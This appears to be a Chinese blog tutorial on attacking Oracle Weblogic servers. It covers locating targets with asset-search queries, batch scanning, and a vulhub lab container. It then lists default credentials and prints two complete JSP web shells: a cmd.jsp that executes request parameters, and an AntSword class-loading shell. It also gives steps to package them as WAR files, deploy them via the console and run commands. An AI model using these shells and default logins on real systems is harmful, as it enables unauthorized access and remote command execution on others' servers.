Weblogic漏洞

Weblogic漏洞

  • 预备知识

中间件定义:中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

中间件在操作系统、网络和数据库之上,应用软件的下层,总的作用是为处于自己上层的应用软件提供运行与开发的环境,帮助用户灵活、高效地开发和集成复杂的应用软件

weblogic简介

weblogic是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切来说是一个基于JavaEE框架的中间件,它提供了一个现代轻型开饭平台,用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的java应用服务器。将加吧的动态功能和java entrprise标准的安全性引入大型网络应用的开发,集成,部署和管理之中。

Weblogic特征

  1. 默认端口:7001
  2. web界面:Error 404–Not Found
  3. 控制后台:http://ip:7001/console

Weblogic历史漏洞发现

1.获取资产

shodan, fofa, zoomeye等

fofa : app=“BEA-Weblogic-Server”

请添加图片描述

2. 批量扫描脚本

  • WeblogicScan

https://github.com/rabbitmask/WeblogicScan

下载压缩包解压,文件夹中的weblogicscan.py是需要在终端运行的文件

第一步需要执行的命令(安装依赖包):python -m pip install -r requirements.txt

请添加图片描述

3. Weblogic漏洞环境搭建

docker pull vulhub/weblogic:10.3.6.0-2017

docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

请添加图片描述

4. 扫描靶机

python WeblogicScan.py -u 192.168.1.149 -p 7001

请添加图片描述

工具已经扫描出所有的weblogic的漏洞

使用浏览器访问界面

请添加图片描述

Weblogic历史漏洞利用

1.weblogic弱口令

账号:weblogic

密码:Oracle@123

请添加图片描述

Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic

  1. system/password
  2. weblogic/weblogic
  3. admin/security
  4. joe/password
  5. mary/password
  6. system/security
  7. wlcsystem/wlcsystem
  8. wlpisystem/wlpisystem
  • cmd.jsp

<%@ page import=“java.io.*” %> <% String cmd =
request.getParameter(“cmd”); String output = “”; if(cmd !=
null) { String s = null; try { Process p =
Runtime.getRuntime().exec(cmd); BufferedReader sI = new
BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s +“\r\n”; } }
catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>

2. 命令打包war包

jar -cvf cmd.war cmd.jsp

请添加图片描述

3.部署war包

登录后台,选择部署,进入如下见面

请添加图片描述

上传war包之后,一直下一步就可以完成war包的部署

请添加图片描述

4. GetShell

完成前面的操作后在浏览器上访问

http://192.168.1.149:7001/cmd/cmd.jsp?cmd=ls

请添加图片描述

war包用法

cmd.jsp?cmd=需要执行的命令

  • 例如查看系统当前用户

请添加图片描述

当前上传的脚本war包是简单脚本,无法连接蚁剑去管理

4.1 蚁剑-jsp4ant.jsp
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

同理生成war包上传部署

  • 使用蚁剑连接

请添加图片描述

请添加图片描述

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值